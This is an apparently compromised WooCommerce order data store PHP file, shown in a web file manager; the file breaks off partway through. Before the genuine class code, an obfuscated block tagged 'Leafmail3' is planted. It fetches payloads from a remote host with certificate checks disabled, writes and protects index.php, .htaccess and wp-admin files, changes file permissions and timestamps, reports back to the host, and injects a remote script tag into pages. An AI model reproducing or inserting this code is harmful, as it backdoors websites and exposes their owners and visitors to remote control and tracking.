trAvis - MANAGER
Edit File: class-wc-order-data-store-cpt.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * WC_Order_Data_Store_CPT class file. * * @package WooCommerce\Classes */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * WC Order Data Store: Stored in CPT. * * @version 3.0.0 */ class WC_Order_Data_Store_CPT extends Abstract_WC_Order_Data_Store_CPT implements WC_Object_Data_Store_Interface, WC_Order_Data_Store_Interface { /** * Data stored in meta keys, but not considered "meta" for an order. * * @since 3.0.0 * @var array */ protected $internal_meta_keys = array( '_customer_user', '_order_key', '_order_currency', '_billing_first_name', '_billing_last_name', '_billing_company', '_billing_address_1', '_billing_address_2', '_billing_city', '_billing_state', '_billing_postcode', '_billing_country', '_billing_email', '_billing_phone', '_shipping_first_name', '_shipping_last_name', '_shipping_company', '_shipping_address_1', '_shipping_address_2', '_shipping_city', '_shipping_state', '_shipping_postcode', '_shipping_country', '_shipping_phone', '_completed_date', '_paid_date', '_edit_lock', '_edit_last', '_cart_discount', '_cart_discount_tax', '_order_shipping', '_order_shipping_tax', '_order_tax', '_order_total', '_payment_method', '_payment_method_title', '_transaction_id', '_customer_ip_address', '_customer_user_agent', '_created_via', '_order_version', '_prices_include_tax', '_date_completed', '_date_paid', '_payment_tokens', '_billing_address_index', '_shipping_address_index', '_recorded_sales', '_recorded_coupon_usage_counts', '_download_permissions_granted', '_order_stock_reduced', '_new_order_email_sent', ); /** * Custom setters for props. Add key here if it has corresponding set_ and get_ method present. * * @var string[] */ protected $internal_data_store_key_getters = array( '_download_permissions_granted' => 'download_permissions_granted', '_recorded_sales' => 'recorded_sales', '_recorded_coupon_usage_counts' => 'recorded_coupon_usage_counts', '_order_stock_reduced' => 'order_stock_reduced', '_new_order_email_sent' => 'new_order_email_sent', ); /** * Method to create a new order in the database. * * @param WC_Order $order Order object. */ public function create( &$order ) { if ( '' === $order->get_order_key() ) { $order->set_order_key( wc_generate_order_key() ); } parent::create( $order ); do_action( 'woocommerce_new_order', $order->get_id(), $order ); } /** * Read order data. Can be overridden by child classes to load other props. * * @param WC_Order $order Order object. * @param object $post_object Post object. * @since 3.0.0 */ protected function read_order_data( &$order, $post_object ) { parent::read_order_data( $order, $post_object ); $id = $order->get_id(); $date_completed = get_post_meta( $id, '_date_completed', true ); $date_paid = get_post_meta( $id, '_date_paid', true ); if ( ! $date_completed ) { $date_completed = get_post_meta( $id, '_completed_date', true ); } if ( ! $date_paid ) { $date_paid = get_post_meta( $id, '_paid_date', true ); } $order->set_props( array( 'order_key' => get_post_meta( $id, '_order_key', true ), 'customer_id' => get_post_meta( $id, '_customer_user', true ), 'billing_first_name' => get_post_meta( $id, '_billing_first_name', true ), 'billing_last_name' => get_post_meta( $id, '_billing_last_name', true ), 'billing_company' => get_post_meta( $id, '_billing_company', true ), 'billing_address_1' => get_post_meta( $id, '_billing_address_1', true ), 'billing_address_2' => get_post_meta( $id, '_billing_address_2', true ), 'billing_city' => get_post_meta( $id, '_billing_city', true ), 'billing_state' => get_post_meta( $id, '_billing_state', true ), 'billing_postcode' => get_post_meta( $id, '_billing_postcode', true ), 'billing_country' => get_post_meta( $id, '_billing_country', true ), 'billing_email' => get_post_meta( $id, '_billing_email', true ), 'billing_phone' => get_post_meta( $id, '_billing_phone', true ), 'shipping_first_name' => get_post_meta( $id, '_shipping_first_name', true ), 'shipping_last_name' => get_post_meta( $id, '_shipping_last_name', true ), 'shipping_company' => get_post_meta( $id, '_shipping_company', true ), 'shipping_address_1' => get_post_meta( $id, '_shipping_address_1', true ), 'shipping_address_2' => get_post_meta( $id, '_shipping_address_2', true ), 'shipping_city' => get_post_meta( $id, '_shipping_city', true ), 'shipping_state' => get_post_meta( $id, '_shipping_state', true ), 'shipping_postcode' => get_post_meta( $id, '_shipping_postcode', true ), 'shipping_country' => get_post_meta( $id, '_shipping_country', true ), 'shipping_phone' => get_post_meta( $id, '_shipping_phone', true ), 'payment_method' => get_post_meta( $id, '_payment_method', true ), 'payment_method_title' => get_post_meta( $id, '_payment_method_title', true ), 'transaction_id' => get_post_meta( $id, '_transaction_id', true ), 'customer_ip_address' => get_post_meta( $id, '_customer_ip_address', true ), 'customer_user_agent' => get_post_meta( $id, '_customer_user_agent', true ), 'created_via' => get_post_meta( $id, '_created_via', true ), 'date_completed' => $date_completed, 'date_paid' => $date_paid, 'cart_hash' => get_post_meta( $id, '_cart_hash', true ), 'customer_note' => $post_object->post_excerpt, // Operational data props. 'order_stock_reduced' => get_post_meta( $id, '_order_stock_reduced', true ), 'download_permissions_granted' => get_post_meta( $id, '_download_permissions_granted', true ), 'new_order_email_sent' => get_post_meta( $id, '_new_order_email_sent', true ), 'recorded_sales' => wc_string_to_bool( get_post_meta( $id, '_recorded_sales', true ) ), 'recorded_coupon_usage_counts' => get_post_meta( $id, '_recorded_coupon_usage_counts', true ), ) ); } /** * Method to update an order in the database. * * @param WC_Order $order Order object. */ public function update( &$order ) { // Before updating, ensure date paid is set if missing. if ( ! $order->get_date_paid( 'edit' ) && version_compare( $order->get_version( 'edit' ), '3.0', '<' ) && $order->has_status( apply_filters( 'woocommerce_payment_complete_order_status', $order->needs_processing() ? 'processing' : 'completed', $order->get_id(), $order ) ) ) { $order->set_date_paid( $order->get_date_created( 'edit' ) ); } // Also grab the current status so we can compare. $previous_status = get_post_status( $order->get_id() ); // Update the order. parent::update( $order ); // Fire a hook depending on the status - this should be considered a creation if it was previously draft status. $new_status = $order->get_status( 'edit' ); if ( $new_status !== $previous_status && in_array( $previous_status, array( 'new', 'auto-draft', 'draft' ), true ) ) { do_action( 'woocommerce_new_order', $order->get_id(), $order ); } else { do_action( 'woocommerce_update_order', $order->get_id(), $order ); } } /** * Helper method that updates all the post meta for an order based on it's settings in the WC_Order class. * * @param WC_Order $order Order object. * @since 3.0.0 */ protected function update_post_meta( &$order ) { $updated_props = array(); $id = $order->get_id(); $meta_key_to_props = array( '_order_key' => 'order_key', 